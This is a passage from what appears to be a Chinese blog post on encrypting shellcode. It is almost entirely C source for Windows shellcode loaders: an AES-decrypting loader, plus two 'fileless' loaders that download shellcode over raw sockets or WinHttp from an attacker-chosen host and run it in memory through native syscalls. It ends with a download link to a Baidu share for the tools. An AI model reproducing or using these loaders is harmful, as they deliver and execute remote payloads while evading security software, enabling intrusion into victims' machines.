0xa2, 0x4, 0x7e, 0xf1, 0xd7, 0x28, 0x1d, 0x3b, 0xcd, 0x2, 0x7, 0xc, 0x72, 0x37, 0x94, 0xa6, 0x1b, 0x5c, 0x6d, 0x41 };
DWORD payload_length = sizeof(AESshellcode);
PVOID BaseAddress = NULL;
SIZE_T dwSize = 0x2000;
NTSTATUS status1 = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status1)) {
return 1;
}
// Decrypt the AES payload to Original Shellcode
DecryptAES((char*)AESshellcode, payload_length, AESkey, sizeof(AESkey));
RtlMoveMemory(BaseAddress, AESshellcode, sizeof(AESshellcode));
HANDLE hThread;
DWORD OldProtect = 0;
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
return 2;
}
HANDLE hHostThread = INVALID_HANDLE_VALUE;
NTSTATUS NtCreateThreadstatus = NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(NtCreateThreadstatus)) {
printf("[!] Failed in sysNtCreateThreadEx (%u)n", GetLastError());
return 3;
}
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
if (!NT_SUCCESS(NTWFSOstatus)) {
printf("[!] Failed in sysNtWaitForSingleObject (%u)n", GetLastError());
return 4;
}
return 0;
}
4、FileLess shellcode:
4-1、Using Sockets:
// credits : @SEKTOR7Module stomping, Module Unhooking, No New Thread, Function obfuscation
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
EXTERN_C NTSTATUS NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout
);
void RunShellcode(char* shellcode, DWORD shellcodeLen) {
PVOID BaseAddress = NULL;
SIZE_T dwSize = 0x2000;
PCSTR Terminator = NULL;
NTSTATUS STATUS;
NTSTATUS status1 = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status1)) {
return ;
}
RtlMoveMemory(BaseAddress, shellcode, shellcodeLen);
HANDLE hThread;
DWORD OldProtect = 0;
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
return ;
}
HANDLE hHostThread = INVALID_HANDLE_VALUE;
NTSTATUS NtCreateThreadstatus = NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(NtCreateThreadstatus)) {
printf("[!] Failed in sysNtCreateThreadEx (%u)n", GetLastError());
return ;
}
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
if (!NT_SUCCESS(NTWFSOstatus)) {
printf("[!] Failed in sysNtWaitForSingleObject (%u)n", GetLastError());
return ;
}
}
void getShellcode_Run(char* host, char* port, char* resource) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %dn", iResult);
return ;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %dn", iResult);
WSACleanup();
return ;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ldn", WSAGetLastError());
WSACleanup();
return ;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!n");
WSACleanup();
return ;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %dn", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return ;
}
printf("n[+] Sent %ld Bytesn", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %dn", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return ;
}
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
printf("[+] Received %d Bytesn", iResult);
else if (iResult == 0)
printf("[+] Connection closedn");
else
printf("recv failed with error: %dn", WSAGetLastError());
RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
}
int main(int argc, char** argv) {
// Validate the parameters
if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>n", argv[0]);
return 1;
}
getShellcode_Run(argv[1], argv[2], argv[3]);
return 0;
}
4-2、Using WinHttp：
#include <Windows.h>
#include <stdio.h>
#include <wininet.h>
#include <winhttp.h>
#include <vector>
#pragma comment(lib, "ntdll")
#pragma comment(lib, "winhttp")
#pragma warning (disable: 4996)
#define _CRT_SECURE_NO_WARNINGS
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
EXTERN_C NTSTATUS NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout
);
void RunShellcode(char* shellcode, DWORD shellcodeLen) {
PVOID BaseAddress = NULL;
SIZE_T dwSize2 = 0x2000;
PCSTR Terminator = NULL;
NTSTATUS STATUS;
NTSTATUS status1 = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status1)) {
return ;
}
RtlMoveMemory(BaseAddress, shellcode, shellcodeLen);
HANDLE hThread;
DWORD OldProtect = 0;
NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &dwSize2, PAGE_EXECUTE_READ, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
return;
}
printf("nnShellcode_mem : %pnn", BaseAddress);
getchar();
HANDLE hHostThread = INVALID_HANDLE_VALUE;
NTSTATUS NtCreateThreadstatus = NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(NtCreateThreadstatus)) {
printf("[!] Failed in sysNtCreateThreadEx (%u)n", GetLastError());
return;
}
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout);
if (!NT_SUCCESS(NTWFSOstatus)) {
printf("[!] Failed in sysNtWaitForSingleObject (%u)n", GetLastError());
return;
}
}
void getShellcode_Run(wchar_t* whost, DWORD port, wchar_t* wresource) {
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, whost, port, 0);
else
printf("Failed in WinHttpConnect (%u)n", GetLastError());
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
else
printf("Failed in WinHttpOpenRequest (%u)n", GetLastError());
// Send a request.
if (hRequest)
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
else
printf("Failed in WinHttpSendRequest (%u)n", GetLastError());
// End the request.
if (bResults)
bResults = WinHttpReceiveResponse(hRequest, NULL);
else printf("Failed in WinHttpReceiveResponse (%u)n", GetLastError());
// Keep checking for data until there is nothing left.
if (bResults)
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable (%u)n", GetLastError());
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
printf("Out of memoryn");
dwSize = 0;
}
else
{
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
printf("Error %u in WinHttpReadData.n", GetLastError());
else {
// Run the shellcode
RunShellcode(pszOutBuffer, dwSize + 1);
}
}
} while (dwSize > 0);
// Report any errors.
if (!bResults)
printf("Error %d has occurred.n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
}
int main(int argc, char** argv) {
// Validate the parameters
if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>n", argv[0]);
return 1;
}
char* host = argv[1];
DWORD port = atoi(argv[2]);
char* resource = argv[3];
const size_t cSize1 = strlen(host) + 1;
wchar_t* whost = new wchar_t[cSize1];
mbstowcs(whost, host, cSize1);
const size_t cSize2 = strlen(resource) + 1;
wchar_t* wresource = new wchar_t[cSize2];
mbstowcs(wresource, resource, cSize2);
getShellcode_Run(whost, port, wresource);
return 0;
}
下址地址：
链接：https://pan.baidu.com/s/1aQkt93RPdFVR3wj0V13d4w
提取码：9g8j
题外话：用 VS2022-V17.5编译，果然如网上介绍的那样，超快，满意！
原文始发于微信公众号（MicroPest）：一组shellcode加密方式
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